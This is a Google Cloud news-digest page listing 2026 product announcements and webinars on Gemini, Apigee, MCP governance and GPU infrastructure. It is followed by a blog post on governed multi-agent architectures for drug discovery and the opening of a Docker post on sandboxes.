Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.Watch the 60-minute teardown



Jun 29 - Jul 3

	Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform. 
This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.
Get started today.

	
Automate your AI governance with Apigee and YAML
Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&A session. 

Register for the July 16 Community TechTalk


	
Build next-generation AI portals for autonomous agents
Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. 

Register for the July 23 Community TechTalk


	Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)
In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. Register for the July 30 Portuguese Community TechTalk



Jun 22 - Jun 26

	Accelerate TPU model loading while saving RAM on GKE.
Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source Run:ai Model Streamer now natively supports TPUs with Google Cloud Storage in TPU vLLM 0.18.0. This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was over 2x faster while cutting peak host memory usage by half. Read the full guide and get started today.
	Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent
Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.You can read more of this capability by clicking this link.



Jun 15 - Jun 19

	Join us for a deep dive into agentic AI control with AppyThings
Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. Register for the session

	Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview
Google Compute Engine has launched Capacity Advisor for Spot to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the Capacity Advisor API for obtainability and minimum estimated uptimes, or use the new Console UI featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.Get started today to start optimizing your Spot VM deployments!

	Build a multi-tenant agentic AI system
When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to design and deploy a multi-tenant agentic AI system in Google Cloud.
	How to Configure Gemini Enterprise to Connect to a Custom MCP Server
The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog post provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.


Jun 8 - Jun 12

	Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available 
Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. Get started for free today



Jun 1 - Jun 5

	Modeling the physical world with BigQuery Graph
Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this post, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.
	Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)
Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.Register for the June 18 Spanish Community TechTalk



May 25 - May 29

	
Anthropic’s Claude Opus 4.8 is now available on Gemini Enterprise Agent Platform. As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.


	API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs 
Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.Register now

	Securing AI Agents: The Extended Agent Gateway Pattern
Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.Register for the June 4 Community TechTalk

	API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP
Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.Register for the June 11 Community TechTalk



May 18 - May 22

	Chinese Webinar | June 4: AI Command and Control
As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.Register here

	GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases
Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new capabilities to benchmark and debug LLM performance across these devices. Sign-up to utilize these new features in private preview today.


May 11 - May 15

	Build Your AI & MCP Control Tower for Universal Governance
Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.Register for the May 21 Community TechTalk



Apr 27 - May 1

	Master Your Launch: The Apigee Production Go-Live Checklist
Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.Register for the May 28 Community TechTalk

	
Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform
Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.

Register for the May 7 Community TechTalk


	Fractional G4 VMs are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
	1/2 GPU: Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.
	1/4 GPU: Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.
	1/8 GPU: Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.



	
Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI & Agentic solutions are robust, secure, and ready for the real world.

Watch the deep dive and read the developer blog to learn more.


	ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available
Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
	Install from Marketplace: GoogleCloudTools.workbench-notebooks
	Contribute on GitHub: colab-enterprise-vscode





Apr 20 - Apr 24

	Announcing the 2026 Google Cloud Partners of the Year
Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.See the 2026 Partner Award winners



Apr 13 - Apr 17

	We're excited to announce the Public Preview of Datastream’s metadata integration with Knowledge Catalog. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.
	Upgrading Apigee OPDK to 4.53 with OS Modernization
Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transitionRead the guide

	Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale
Google Cloud has announced the General Availability of Cloud Run worker pools, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the Cloud Run External Metrics Autoscaler (CREMA). Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.
	Apigee Model Context Protocol (MCP) now Generally Available
Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.Explore the MCP overview



Apr 6 - Apr 10

	Community TechTalk: Powering Retail Agents with ADK, UCP & Apigee X
Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.Register for the TechTalk

	Implement multimodal capabilities in your AI agents
Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see Classify multimodal data. To create a fluid conversational AI that processes audio and video streams in real time, see Enable live bidirectional multimodal streaming. To consolidate fragmented multimodal data into a searchable knowledge graph, see Multimodal GraphRAG resource orchestration.
	Automate SecOps workflows with an agentic AI system
To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to orchestrate security operations workflows.


Mar 30 - Apr 3

	ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts Shilpi Puri & Wely Lau for a webinar on April 30th at 11:00 AM SGT to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.RSVP here.



Mar 23 - Mar 27

	
Turn your API sprawl into an agent-ready catalog
As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.Read the full blog post to get started.


	
Webinar | April 16: AI Command & Control
As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.RSVP here.


	
Modernizing and Decoupling Event Ingestion with Apigee
In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.
Read the full guide.




Mar 16 - Mar 20

	Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades
The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.Explore the full range of what the assistant can do.



Mar 9 - Mar 13

	
Want to use Gemini to develop code and don't know where to start?
This article includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. 




Mar 2 - Mar 6

	
Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model. Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.

Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via Vertex AI and developers via the Gemini API in Google AI Studio.


	

TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee
Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.

Register for the TechTalk





Feb 23 - Feb 27

	
Pro-level image generation gets faster and more accessible with Nano Banana 2
Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model here.




	
The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud
Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.

By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. Learn more.


	Stop typing, start interacting! The Gemini Live Agent Challenge is here. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at geminiliveagentchallenge.devpost.com


Feb 9 - Feb 13

	
Introducing Gemini 3.1 Pro on Google Cloud. 

3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our goal to help you transform your business for the agentic future. Learn more about the model’s capabilities here. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.
	Automate Storage Compatibility with GKE Dynamic Default Storage Classes
Managing storage across mixed-generation VM clusters in GKE just got easier. With the new Dynamic Default Storage Class, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.Explore automated disk type selection

	
Community TechTalk: AI-Powered Apigee Development with strofa.io
Join the Apigee community on February 26 for a deep dive into strofa.io. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.

Register now to reserve your spot.




Jan 26 - Jan 30

	Simplify API Governance with Native OpenAPI v3 Support
Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.



	Accelerate API Testing with the New Open Source API Tester
Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like proxy.basepath without leaving your terminal.Explore the API Tester guide and start testing your proxies today.
	Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid
Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via kubectl, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.Implement Kubernetes Secrets in your hybrid proxies.
	See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud
Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -> Appearance menu.Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!

	Apigee X Networking: PSC or VPC Peering?
Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.Watch the video.



Jan 19 - Jan 23

	Bridge the Gap: Excel-to-API Conversion in Apigee Portals
Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.Learn how to build it.
	Elevate your applications with Firestore’s new advanced query engine
We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.Learn more about Firestore pipeline operations.

Posted in	Inside Google Cloud
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Architecting autonomy: A design pattern for high-compute, governed agents in biotech

Google Cloud · Oct 16, 4:00 PM UTC

In production systems today, most AI agents operate as lightweight dispatchers. They parse a prompt, make an API call, retrieve a record, and hand back control. Their execution is fast, stateless and cheap. Biotechnology does not work this way. 

Folding a protein target, screening a 50,000 compound ligand library, or evaluating structure-activity relationships (SAR) are not quick API lookups. They are sustained, stateful, GPU-bound simulations that run for minutes or even hours across specialized silicon. When you ask a general-purpose large language model (LLM) endpoint to coordinate a complex drug discovery workflow, the standard paradigm breaks: Timeouts occur, context windows overflow with atomic coordinates, and proprietary chemical Intellectual Property (IP) risks exposure to external networks. 

Building enterprise grade research and development (R&D) agents requires moving past the monolithic assistant model. In this blog post, we will discuss how to use a three-layer architecture: separating cognitive orchestration (the brain) from computational execution (the muscle), and anchoring both inside an enterprise governance plane to build scalable agents for drug discovery use cases in biotech. 
A three-layer pattern

The reference architecture below shows how to architect, optimize, and govern high-compute autonomous agents in biotechnology, specifically Drug Discovery. 
Figure 1 — The three-layer pattern: a cognitive orchestrator (brain), a scalable GPU execution layer (muscle), and an enterprise governance plane.
The execution layer: scaling the muscle - high-compute execution 

The execution layer is responsible for the heavy scientific computations. The first architectural decision is determining where workloads should run:

	
Strategic, proprietary pipelines require dedicated GPU infrastructure within your security perimeter


	
Routine or standardized workloads can safely be delegated to managed cloud endpoints




In this architecture, protein folding is driven by ESMFold and generative design by GenMol. Both run as NVIDIA Inference Microservices or NIMs deployed on Google Kubernetes Engine (GKE) using G4 VMs backed by NVIDIA RTX PRO 6000 Blackwell GPUs.

A critical hurdle in containerized GPU workloads is the cold-start penalty, the latency delay required to pull multi-gigabyte model weights from an image registry and stage them into GPU memory (VRAM).

To ensure low latency responsiveness, we build the following as a recommendation into the reference architecture:

	
Maintain warm pools: Pin the GKE node pool to a minimum of one active node.


	
Preload weights: Model weights are loaded directly into VRAM at pod initialization, ensuring containers are immediately ready for inference.


	
Resilient scheduling: GKE manages pod lifecycles and restarts failed instances without tearing down the underlying VM infrastructure. 




This approach trades custom, manual CUDA kernel tuning for NVIDIA's pre-compiled, containerized runtimes, dramatically reducing infrastructure engineering overhead while ensuring deterministic throughput.

In biotech, chemical structures represent millions of dollars in proprietary IP. A docking request transmits SMILE strings or 3D coordinate matrices that must never leave company custody.

Containerized NIMs eliminate the friction between rapid prototyping and rigorous data isolation. During early exploration, researchers can query NVIDIA hosted endpoints. When transitioning to proprietary lead candidates, the exact same container is deployed to GKE inside a private VPC. The agent’s orchestration logic remains identical; only the target URI updates from an external proxy to an internal VPC endpoint. No structural data leaves the enterprise perimeter.

The cognitive layer: Multi-agent reasoning

With compute execution isolated, the cognitive layer manages agentic workflow sequencing. Built on Agent Runtime, within the Gemini platform, this reference architecture shows a system that deploys a hierarchical multi-agent structure, one lead orchestrator, and two specialized domain sub-agents (Lead Optimization and Safety Screening) . The multi-agent design can be modified to suit the use case at hand. 

Based on this design, when an end-user submits a high-level task such as “ Analyze Candidate 4b against Target X and produce a SAR report”, the system applies four core orchestration patterns discussed below; 

	In-process native agent handoffs: The lead orchestrator delegates tasks to specialist sub-agents using Agent Runtime’s native SDK rather than network-serialized agent-to-agent HTTP protocols. This eliminates intermediate network hops and keeps internal handoffs instantaneous. Only the outermost boundary communicates outward to user-facing surfaces like the Gemini agent.
	Passing bulky payloads by reference: LLMs degrade quickly when forced to ingest massive arrays of 3D spatial coordinates. In this architecture, raw structural data (PDB files, docking poses, trajectory logs) is written directly to Cloud Storage. Agents pass lightweight, signed object URIs and high-level structural summaries, keeping context windows compact and inference costs down.
	Decoupling workflow logic from biochemical reasoning: General-purpose LLMs excel at task planning and synthesis, but are prone to hallucinating biochemical nuances. To control this behavior, this architecture maintains strong separation of concerns, namely, workflow and tasks decomposition are handled by Gemini. Domain chemistry and pharmacological reasoning are handled by specialized Nemotron models hosted on dedicated GPU nodes. 
	Context-driven evaluation over rigid cutoffs: Traditional computational screening enforces arbitrary numerical cutoffs (e.g., discard if binding affinity ,-7.5 kcal/mol) However, therapeutic context fundamentally alters risk tolerance. Preventive cardiovascular therapy taken daily by healthy patients requires extremely strict safety margins, or a novel oncology candidate targeting an intractable cancer may accept higher toxicity if efficacy is demonstrated.


By passing disease context directly into the specialized reasoning models, drug candidates are evaluated against dynamic, target-specific profiles rather than static thresholds, preventing the premature culling of viable drug leads.

Performance best practices for high-compute pipelines

Optimizing an agentic system that interfaces with heavy GPU compute requires challenging common engineering instincts:

	
Common Assumption

	
Architectural Reality

	
Recommended Best Practice


	
"Swap in a faster driver model to cut latency."

	
The primary orchestrator's token generation is rarely the bottleneck in multi-step R&D pipelines.

	
Optimize I/O, not token speed: Focus on reducing payload sizes and intermediate network hops rather than compromising orchestrator reasoning depth.


	
"Parallelize tool calls across workers."

	
External scientific services and containerized models often serialize requests internally on dedicated hardware.

	
Respect execution topology: Align client-side concurrency with backend queue mechanics to prevent pipeline lockouts and connection timeouts.


	
"Pass full simulation states between tools."

	
Large JSON bodies cause schema validation failures, prompt truncation, and token bloat.

	
Pass heavy payloads by reference: Store raw coordinates in object storage and pass lightweight URIs between agent boundaries.


	
"Return outputs only when the pipeline finishes."

	
Long multi-minute runs leave scientists blind to whether jobs are proceeding or stalled.

	
Stream intermediate stage completions: Emit progress updates at each completed milestone (e.g., folding complete, docking running) for real-time visibility.


	
"Chain multiple granular micro-tools."

	
Deep tool-chains increase the probability of hallucinated arguments and schema mismatches.

	
Collapse compute pipelines: Wrap end-to-end simulation pipelines behind a single, clean tool interface that takes clear parameters and returns a consolidated object.




The enterprise governance and asymmetric autonomy

Deploying high-compute agents in enterprise environments requires robust data sovereignty, audit trails, and process control. The Gemini platform establishes these safeguards natively with the following components: 

	
Agent Identity: Every autonomous agent operates with a cryptographically verifiable identity. Thus, for a biotech use case, when a candidate molecule is advanced or rejected, the event is permanently logged to that specific agent principal. 


	
Agent Gateway: This serves the single ingress/egress point for every interaction within the perimeter. Centralized IAM and regional residency rules help ensure sensitive molecular data remains within designated cloud regions. 


	
Agent Registry: This feature maintains a curated catalog of approved agents, validated tool schemas, and authorized Model Context Protocol (MCP) servers, preventing rogue tools from executing in production. 


	
Model Armor: This functionality inspects incoming prompts and outgoing payloads in real time to prevent prompt injection and data exfiltration. 




The payoff is clear. Identity, RBAC, auditing, residency, and data protection are native properties of the Gemini platform; this allows enterprise customers to focus on science rather than having to build a compliance stack for every project. 

In high-stakes research and development, full autonomy introduces unacceptable liability, while requiring approval for trivial steps can create frictions. The solution addressing this to use asymmetric gating in the following ways;

Automate reversible operations: For example, allow the agent to resolve chemical naming synonyms, pull structural PDBs, and run preliminary Lipinski screens autonomously without interrupting the researcher.

Gate irreversible operations: For instance, initiating multi-GPU docking run, advancing a lead compound to wet-lab synthesis, or archiving a therapeutic program must require explicit human sign-off.

The pattern, and the path forward

High-compute autonomous agents succeed when the boundaries between cognitive planning, numerical computation, and system governance are clean in the following ways:

	
Keep the orchestrator focused on decomposition and synthesis, leaving intensive biophysical simulation to specialized, containerized microservices and models.


	
Eliminate context bloat by passing complex chemical data by reference through cloud storage.


	
Anchor the workflow in enterprise governance, pairing cryptographic agent identity with asymmetric human oversight.




As generative and structural biology models expand toward whole-cell modeling and complex dynamic simulations, this decoupled architecture ensures research systems scale efficiently while keeping proprietary IP secure and auditable.

Reach out to your Google sales representative if you have any requirements to build a use case like this and we will be happy to talk and support you in your agent development journey on Google Cloud.
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From Containers to Sandboxes: Developer Trust in the Agentic Era

Docker · Oct 16, 4:00 PM UTC

What the 2026 Stack Overflow Developer Survey tells us about where trust goes next

If you’ve followed Docker lately, you know we’re all-in on sandboxes. We’ve spent a ton of time talking about the difference between sandboxes and containers, and helping our customers and the industry as a whole understand when to use which. In fact, Docker president Mark Cavage dedicated his opening keynote at WeAreDevelopers World Congress North America to this exact topic, using live demos to show why sandboxes (and not containers) provide the level of isolation required to contain autonomous agents. 
